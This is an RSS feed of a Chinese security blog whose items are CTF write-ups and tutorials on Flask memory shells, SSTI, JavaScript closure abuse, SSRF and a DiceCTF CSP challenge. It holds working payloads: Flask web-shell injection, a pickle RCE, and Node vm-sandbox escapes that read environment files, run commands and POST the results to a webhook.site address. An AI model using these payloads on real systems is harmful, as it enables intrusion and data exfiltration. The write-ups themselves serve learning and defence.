<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>2024 on chleynx's blog</title><link>/tags/2024/</link><description>Recent content in 2024 on chleynx's blog</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Sat, 20 Jul 2024 09:22:51 +0800</lastBuildDate><atom:link href="/tags/2024/index.xml" rel="self" type="application/rss+xml"/><item><title>flask下的内存马</title><link>/posts/memory-horse-in-flask/</link><pubDate>Sat, 20 Jul 2024 09:22:51 +0800</pubDate><guid>/posts/memory-horse-in-flask/</guid><description>&lt;h1 id="flask下python内存马"&gt;FLASK下python内存马&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/bfengj/CTF/blob/main/Web/python/%5BPython%5DFlask%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0.md"&gt;Python]Flask内存马学习.md at main · bfengj/CTF (github.com)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/flask%E4%B8%8D%E5%87%BA%E7%BD%91%E5%9B%9E%E6%98%BE%E6%96%B9%E5%BC%8F/"&gt;flask不出网回显方式 - Longlone&amp;rsquo;s Blog&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="初始"&gt;初始&lt;/h2&gt;
&lt;p&gt;在一个月黑风高的夜晚，看见一个从未见过的函数add_url_rule，然后经过亿系列的查询发现是flask的内存马常用的东西&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;add_url_rule()
可以添加一个自定义路由，并且可以自定义匿名函数，访问这个路由就可以调用这个匿名函数
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里有payload&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sys.modules[&amp;#39;__main__&amp;#39;].__dict__[&amp;#39;app&amp;#39;].add_url_rule(&amp;#39;/shell&amp;#39;,&amp;#39;shell&amp;#39;,lambda :__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;dir&amp;#39;).read())


ssti:
{{url_for.__globals__[&amp;#39;__builtins__&amp;#39;][&amp;#39;eval&amp;#39;](\&amp;#34;app.add_url_rule(&amp;#39;/shell&amp;#39;, &amp;#39;myshell&amp;#39;, lambda :__import__(&amp;#39;os&amp;#39;).popen(_request_ctx_stack.top.request.args.get(&amp;#39;cmd&amp;#39;)).read())\&amp;#34;,{&amp;#39;_request_ctx_stack&amp;#39;:url_for.__globals__[&amp;#39;_request_ctx_stack&amp;#39;],&amp;#39;app&amp;#39;:url_for.__globals__[&amp;#39;current_app&amp;#39;]})}}&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;但是！这是老版本的，关闭debug模式会调用到check函数，然后会导致报错&lt;/p&gt;
&lt;p&gt;然而在新版本当中，很多地方都存在check函数，so，G&lt;/p&gt;
&lt;p&gt;然后看见有师傅提供了方法&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;通过@app.before_request @app.after_request来打
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>AES-CBC反转攻击</title><link>/posts/aes-cbc%E5%8F%8D%E8%BD%AC/</link><pubDate>Tue, 25 Jun 2024 00:22:51 +0800</pubDate><guid>/posts/aes-cbc%E5%8F%8D%E8%BD%AC/</guid><description>&lt;h1 id="aes-cbc反转攻击"&gt;AES-CBC反转攻击&lt;/h1&gt;
&lt;p&gt;在一些特定情况下才能使用&lt;/p&gt;</description></item><item><title>闭包提权(Closure-Privilege-Escalation)</title><link>/posts/closure-privilege-escalation/</link><pubDate>Wed, 12 Jun 2024 00:22:51 +0800</pubDate><guid>/posts/closure-privilege-escalation/</guid><description>&lt;h2 id="闭包提权"&gt;闭包提权：&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;var o = (function() {
 var obj = {
 a: 1,
 flag: &amp;#34;flag{test}&amp;#34;,
 };
 return {
 get: function(k) {
 return obj[k];
 },
 add: function() {
 n++;
 }
 };
}
)();

console.log(o.get(&amp;#34;flag&amp;#34;)) // flag{test}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;首先，这里通过闭包实现了将obj这个对象让外面不可更改。实现只读的效果。&lt;/p&gt;
&lt;p&gt;作用：比如在有些环境下，如第三方库当中，需要保持稳定性，防止一个库被另一个库修改。&lt;/p&gt;
&lt;p&gt;利用：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;
console.log(o.get(&amp;#34;valueOf&amp;#34;)) //[Function: valueOf]

console.log(o.get(&amp;#34;valueOf&amp;#34;)()) // TypeError: Cannot convert undefined or null to objec
// 由于valueOf是Object.prototype的方法，所以在调用时，this指向的是Object.prototype，而Object.prototype并没有flag属性，所以会报错


//定义一个原型，让obj[k]能拿到这个原型，然后返回this指向obj
Object.defineProperty(Object.prototype, &amp;#34;hacker&amp;#34;, {
 get: function() {
 return this;
 }
});
console.log(o.get(&amp;#34;flag&amp;#34;)) // flag{test}

console.log(o.get(&amp;#34;hacker&amp;#34;)) // { a: 1, flag: &amp;#39;flag{test}&amp;#39; }
let obj1 = o.get(&amp;#34;hacker&amp;#34;);
obj1.flag = 2;

console.log(o.get(&amp;#34;flag&amp;#34;)) // 2

if (o.get(&amp;#34;flag&amp;#34;) !== &amp;#34;flag{test}&amp;#34;) {
 console.log(&amp;#34;flag is correct!&amp;#34;);
}
// flag is correct!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;利用成功&lt;/p&gt;</description></item><item><title>SSRF</title><link>/posts/ssrf/</link><pubDate>Sat, 01 Jun 2024 18:38:57 +0800</pubDate><guid>/posts/ssrf/</guid><description>&lt;h2 id="ssrf简介"&gt;SSRF简介&lt;/h2&gt;
&lt;p&gt;SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求，由服务端发起请求的安全漏洞。一般情况下，SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的，所以服务端能请求到与自身相连而与外网隔离的内部系统)。&lt;/p&gt;
&lt;p&gt;也就是（如果A是外网主机，B是不能访问外网的主机，C是能够访问A和B的主机&amp;mdash;&amp;mdash;-&amp;gt;SSRF也就是A通过C访问B）&lt;/p&gt;
&lt;h2 id="ssrf漏洞原理"&gt;SSRF漏洞原理&lt;/h2&gt;
&lt;p&gt;SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如，黑客操作服务端从指定URL地址获取网页文本内容，加载指定地址的图片等，利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。&lt;/p&gt;
&lt;p&gt;攻击方式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;攻击运行在内网或本地的应用程序。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对内网Web应用进行指纹识别，识别企业内部的资产信息。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;攻击内外网的Web应用，主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。&lt;/p&gt;
&lt;p&gt;利用gopher协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp 等，也可以发送 GET、POST 请求，这可以拓宽 SSRF 的攻击面。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;利用file协议读取本地文件等。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="常用函数"&gt;常用函数&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="漏洞点"&gt;漏洞点&lt;/h2&gt;
&lt;h3 id="常见ssrf漏洞验证方式"&gt;常见SSRF漏洞验证方式&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;排除法：浏览器f12查看源代码看是否是在本地进行了请求
比如：该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞

dnslog等工具进行测试，看是否被访问(可以在盲打后台，用例中将当前准备请求的url和参数编码成base64，这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)

抓包分析发送的请求是不是通过服务器发送的，如果不是客户端发出的请求，则有可能是存在漏洞。接着找存在HTTP服务的内网地址

从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
通过二级域名暴力猜解工具模糊猜测内网地址
通过file协议读取内网信息获取相关地址

直接返回的Banner、title、content等信息

留意布尔型SSRF，通过判断两次不同请求结果的差异来判断是否存在SSRF，类似布尔型sql盲注方法。
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="ssrf漏洞点挖掘"&gt;SSRF漏洞点挖掘&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;1. 社交分享功能：获取超链接的标题等内容进行显示

2. 转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3. 在线翻译：给网址翻译对应网页的内容

4. 图片加载/下载：例如富文本编辑器中的点击下载图片到本地；通过URL地址加载或下载图片

5. 图片/文章收藏功能：主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6. 云服务厂商：它会远程执行一些命令来判断网站是否存活等，所以如果可以捕获相应的信息，就可以进行ssrf测试

7. 网站采集，网站抓取的地方：一些网站会针对你输入的url进行一些信息采集工作

8. 数据库内置功能：数据库的比如mongodb的copyDatabase函数

9. 邮件系统：比如接收邮件服务器地址

10. 编码处理, 属性信息处理，文件处理：比如ffpmg，ImageMagick，docx，pdf，xml处理器等

11. 未公开的api实现以及其他扩展调用URL的功能：可以利用google 语法加上这些关键字去寻找SSRF漏洞

12.从远程服务器请求资源（upload from url 如discuz！；import &amp;amp; expost rss feed 如web blog；使用了xml引擎对象的地方 如wordpress xmlrpc.php）
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;url关键字&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://www.cnblogs.com/miruier/p/13907150.html"&gt;看看这里吧！！！SSRF漏洞&lt;/a&gt;&lt;/p&gt;
&lt;h4 id="题目easycms"&gt;题目easycms：&lt;/h4&gt;
&lt;p&gt;搜索到迅睿cms 曾经存在ssrf，审计代码发现qrcode路由存在ssrf构造如下&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://eci-2ze3cmcfbu4h73d67lga.cloudeci1.ichunqiu.com/index.php
?s=api
&amp;amp;c=api
&amp;amp;m=qrcode
&amp;amp;thumb=http://test.ai.darwinchow.com
&amp;amp;text=sfaf
&amp;amp;size=11
&amp;amp;level=1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;发现存在ssrf,但是直接访问127.0.0.1是被过滤的 尝试302去绕过&lt;/p&gt;
&lt;p&gt;302配置如下&lt;/p&gt;</description></item><item><title>NKCTF-2024wp</title><link>/posts/nkctf/</link><pubDate>Mon, 25 Mar 2024 00:48:41 +0800</pubDate><guid>/posts/nkctf/</guid><description>&lt;h2&gt;&lt;/h2&gt;
&lt;h2 id="attack_"&gt;&lt;strong&gt;attack_tacooooo&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;账号tacooooo@qq.com&lt;/p&gt;
&lt;p&gt;密码tacooooo&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;import pickle

class Exploit(object):

 def __reduce__(self):
 code = &amp;#34;&amp;#34;&amp;#34;
import os

def find_flag_and_write(source_directory, destination_path, destination_file_name):

 with open(&amp;#34;/proc/1/environ&amp;#34;, &amp;#39;r&amp;#39;) as flag_file:
 flag_content = flag_file.read()

 destination_file_path = os.path.join(destination_path, destination_file_name)
 with open(destination_file_path, &amp;#39;a&amp;#39;) as destination_file:
 destination_file.write(flag_content)


find_flag_and_write(&amp;#39;/&amp;#39;, &amp;#39;../var/lib/pgadmin/storage/tacooooo_qq.com/&amp;#39;, &amp;#39;flag.txt&amp;#39;)

&amp;#34;&amp;#34;&amp;#34;
 # 使用纯 Python 代码来写入文件
 return (exec, (code,))



# 序列化 exploit 对象
with open(&amp;#39;posix.pickle&amp;#39;, &amp;#39;wb&amp;#39;) as f:
 pickle.dump(Exploit(), f)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="全世界最简单的ctf"&gt;&lt;strong&gt;全世界最简单的CTF&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;source&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;const express = require(&amp;#39;express&amp;#39;);
const bodyParser = require(&amp;#39;body-parser&amp;#39;);
const app = express();
const fs = require(&amp;#34;fs&amp;#34;);
const path = require(&amp;#39;path&amp;#39;);
const vm = require(&amp;#34;vm&amp;#34;);
app.use(bodyParser.json())
	.set(&amp;#39;views&amp;#39;, path.join(__dirname, &amp;#39;views&amp;#39;))
	.use(express.static(path.join(__dirname, &amp;#39;/public&amp;#39;))) app.get(&amp;#39;/&amp;#39;, function(req, res) {
		res.sendFile(__dirname + &amp;#39;/public/home.html&amp;#39;);
	})
function waf(code) {
	let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
	if (code.match(pattern)) {
		throw new Error(&amp;#34;what can I say? hacker out!!&amp;#34;);
	}
}
app.post(&amp;#39;/&amp;#39;, function(req, res) {
	let code = req.body.code;
	let sandbox = Object.create(null);
	let context = vm.createContext(sandbox);
	try {
		waf(code) let result = vm.runInContext(code, context);
		console.log(result);
	} catch (e) {
		console.log(e.message);
		require(&amp;#39;./hack&amp;#39;);
	}
}) app.get(&amp;#39;/secret&amp;#39;, function(req, res) {
	if (process.__filename == null) {
		let content = fs.readFileSync(__filename, &amp;#34;utf-8&amp;#34;);
		return res.send(content);
	} else {
		let content = fs.readFileSync(process.__filename, &amp;#34;utf-8&amp;#34;);
		return res.send(content);
	}
}) app.listen(3000, () =&amp;gt; {
	console.log(&amp;#34;listen on 3000&amp;#34;);
})
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;payload:
1、
throw new Proxy({}, {
 get: function() {
 const cc = arguments.callee.caller;
 const g = (cc.constructor.constructor(`return ${`${&amp;#39;proces&amp;#39;}s`}`))();
 const h = g.mainModule.require(&amp;#39;fs&amp;#39;).readFileSync(&amp;#39;/proc/self/environ&amp;#39;);
 const p = (cc.constructor.constructor(&amp;#39;return fetch&amp;#39;))();
 return p(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: `${h}`})});
 }
 })
 exec被ban然后执行不了命令，中括号我本地能过，但是环境上不行。fs模块读不到flag文件。
 
 2、
 过滤了中括号
 throw new Proxy({}, {
 get: function() {
 const cc = arguments.callee.caller;
 const gg = (cc.constructor.constructor(`return ${`${&amp;#39;proces&amp;#39;}s`}`))();
 const hh = gg.mainModule.require(`${&amp;#39;child_p&amp;#39;}rocess`);
 const ff = (cc.constructor.constructor(`s = 1+2`))();
 const p = (cc.constructor.constructor(&amp;#39;return fetch&amp;#39;))();
 return p(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: `${s}`})});
 }
})
两个思路：
再构造一个函数。-------------不知道为什么不行
可以写入js文件，使用fork执行然后fetch出来。--------------ok！

payload：
// 文件写入suceess
throw new Proxy({}, {
 get: function() {
 const cc = arguments.callee.caller;
 const gg = (cc.constructor.constructor(`return ${`${&amp;#39;proces&amp;#39;}s`}`))();
let content = `
 let cs = require(&amp;#39;${`${&amp;#39;child_p&amp;#39;}rocess&amp;#39;).exe`}cSync(&amp;#39;/readflag&amp;#39;).toString();
 ${`${&amp;#39;proces&amp;#39;}s`}.on(&amp;#34;message&amp;#34;,function(msg){
 fetch(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: cs})});
 })
 `;
 const fs = gg.mainModule.require(&amp;#39;fs&amp;#39;).appendFileSync(&amp;#34;./readflag1.js&amp;#34;,content);
 const p = (cc.constructor.constructor(&amp;#39;return fetch&amp;#39;))();
 return p(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: `${fs}`})});
 }
})

//通信成功
throw new Proxy({}, {
 get: function() {
 const cc = arguments.callee.caller;
 const g = (cc.constructor.constructor(`return ${`${&amp;#39;proces&amp;#39;}s`}`))();
 const h = g.mainModule.require(`${&amp;#39;child_p&amp;#39;}rocess`).fork(&amp;#39;./readflag1.js&amp;#39;);
 h.send(&amp;#39;hello&amp;#39;);
 const p = (cc.constructor.constructor(&amp;#39;return fetch&amp;#39;))();
 return p(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: `${h}`})});
 }
})

{
 &amp;#34;data&amp;#34;: &amp;#34;NKCTF{5e1d772e-8260-444d-ab4b-21c7b7603521}\n&amp;#34;
}
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="img"&gt;&lt;img src="/1.png" alt="img"&gt;&lt;/h3&gt;
&lt;h2 id="my-first-cms"&gt;&lt;strong&gt;my first cms&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;这是什么cms？直接安装最新版的应该没有问题了吧……&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/capture0x/CMSMadeSimple2"&gt;GitHub - capture0x/CMSMadeSimple2: CMS Made Simple Version: 2.2.19 - SSTI&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;admin Admin123&lt;/p&gt;</description></item><item><title>DiceCTF</title><link>/posts/dicectf/</link><pubDate>Tue, 06 Feb 2024 14:06:46 +0800</pubDate><guid>/posts/dicectf/</guid><description>&lt;h2 id="another-csp"&gt;another-csp&lt;/h2&gt;
&lt;h3 id="indexjs"&gt;index.js&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;createServer&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;http&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;readFileSync&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;fs&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;spawn&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;child_process&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;randomInt&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;crypto&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sleep&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt; =&amp;gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Promise(&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wait&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;child&lt;/span&gt; =&amp;gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Promise(&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;child&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;on&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;exit&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;index&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;readFileSync&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;index.html&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;randomInt&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;padStart&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browserOpen&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;visit&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;browserOpen&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;proc&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;spawn&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;node&amp;#39;&lt;/span&gt;, [&lt;span style="color:#e6db74"&gt;&amp;#39;visit.js&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;], { &lt;span style="color:#a6e22e"&gt;detached&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; Promise.&lt;span style="color:#a6e22e"&gt;race&lt;/span&gt;([
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;wait&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;proc&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;sleep&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;proc&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exitCode&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;kill&lt;/span&gt;(&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;proc&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pid&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;browserOpen&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;createServer&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;URL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;http://localhost/&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pathname&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;);
